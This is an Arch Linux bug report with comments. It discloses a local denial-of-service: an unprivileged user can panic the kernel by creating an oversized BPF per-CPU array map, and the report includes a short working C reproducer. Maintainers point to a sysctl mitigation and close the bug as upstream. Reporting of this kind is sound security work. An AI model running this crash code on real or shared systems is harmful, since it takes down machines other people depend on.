FS#70723 - [Kernel] PANIC from unprivileged user "System is deadlocked on memory"

Attached to Project: Arch Linux
Opened by Benedict Schlüter (Kakashiy) - Wednesday, 05 May 2021, 21:04 GMT
Last edited by Toolybird (Toolybird) - Sunday, 04 June 2023, 03:51 GMT
Task Type Bug Report
Category Kernel
Status Closed
Assigned To Jan Alexander Steffens (heftig)
Levente Polyak (anthraxx)
Architecture x86_64
Severity Medium
Priority Normal
Reported Version
Due in Version Undecided
Due Date Undecided
Percent Complete 100%
Votes 0
Private No

Details

Currently it is possible to crash the kernel as an unprivileged user (Local DOS). I am not sure if this issue is arch-linux related or if it is an kernel bug. However in a correct situation the OOM killer would kick in and stop the process (which actually happens sometimes and sometimes not, depending on the input and tty). Currently with the Arch kernel config this does not happen (also tested with the current master branch of the Linux kernel)

I've reproduced it on my main system (Xeon E3-1231 v3 ROOTFS xfs 16gb ram and i5 8250 ROOTFS ext4 but HOMEFS xfs 8gb ram)

Maybe it is xfs related, can anyone confirm the issue?

The attachment contains the panic message
CODE:
"""
#define _GNU_SOURCE
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <linux/bpf.h>
#include <linux/version.h>
#include <errno.h>

int main(int argc, char const *argv[])
{
int tmp;
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_PERCPU_ARRAY,
.key_size = 4,
.value_size = 30824,
.max_entries = 13245950
};
tmp = syscall(SYS_bpf, BPF_MAP_CREATE, &create_map_attrs, sizeof(create_map_attrs));
if (tmp == -1)
err(errno, "");
printf("Syscall return %X\n", tmp);
}

"""
This task depends upon

Closed by  Toolybird (Toolybird)
Sunday, 04 June 2023, 03:51 GMT
Reason for closing:  Upstream
Additional comments about closing:  Clearly an upstream issue. If still happening, please report upstream to the kernel folks.
Comment by Jan Alexander Steffens (heftig) - Friday, 07 May 2021, 14:42 GMT
You might be able to disallow this via sysctl kernel.unprivileged_bpf_disabled .
Comment by Benedict Schlüter (Kakashiy) - Friday, 07 May 2021, 14:51 GMT
Yes, but it is not the core of the problem. There is an issue with the oom killer

Loading...